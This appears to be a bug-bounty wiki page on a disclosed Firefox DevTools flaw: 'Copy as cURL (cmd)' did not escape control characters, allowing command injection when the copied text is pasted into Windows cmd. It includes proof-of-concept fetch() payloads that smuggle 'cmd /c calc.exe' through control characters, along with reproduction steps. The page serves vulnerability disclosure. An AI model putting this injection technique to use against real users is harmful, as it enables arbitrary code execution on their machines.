Allows Arbitrary Code Execution via "Copy as cURL (windows)" in DevTools
The 'Copy as cURL (cmd)' feature in Firefox DevTools failed to properly escape control characters in request bodies, allowing an attacker to inject commands that execute when the copied cURL command is pasted into Windows cmd. An attacker could craft a request that, when copied and run, executes arbitrary commands on the victim's machine.
Originally disclosed on Mozilla
- Fixed in 26 days
- Paid in 29 days
- Disclosed after 26 days
Created attachment 9523090
bandicam 2025-10-29 08-52-32-041.mp4
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Steps to reproduce:
The issue concerns the “Copy as cURL (cmd)” feature in DevTools. When exporting a request to Windows that includes a cmd command, the parsing logic fails to correctly handle control characters.
This also affects Firefox Nightly version 146.0a1 (2025-10-28) (64-bit).
os: windows 11
Steps to reproduce:
1. Copy and run the payload in console (this can also be via html)
'''
fetch("/copyme", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
method: "POST",
body: `
query=evil\ncmd /c calc.exe\x1a\ncmd /c calc.exe\x1a
`
});
'''
or
'''
fetch("/copyme", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
method: "POST",
body: `
query=evil\ncmd /c calc.exe\x0e\ncmd /c calc.exe\x0f
`
});
'''
2. Copy the request with copy as curl (cmd)
3. Paste on the windows cmd and see calc pop up
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the cURL export logic for Windows cmd did not properly escape or reject control characters in the request body, allowing command injection.
Impact
An attacker could achieve arbitrary code execution on a victim's Windows machine if the victim copies a malicious request as a cURL command and pastes it into cmd.
What the attacker needed
Victim uses Firefox DevTools; victim copies request as cURL (cmd); victim pastes into Windows cmd
How it was found
- Run a script in the browser console (or via HTML) that sends a POST request containing control characters and a command.
- Copy the request using 'Copy as cURL (cmd)' in DevTools.
- Paste the copied command into Windows cmd and observe the calculator launching.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you use a browser's developer tools to copy a network request as a cURL command for Windows, the tool should safely quote everything so it can't run unintended commands. Here, certain invisible control characters in the request body were not handled, so a malicious request could sneak in extra commands that run when the copied text is pasted into the Windows command prompt.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.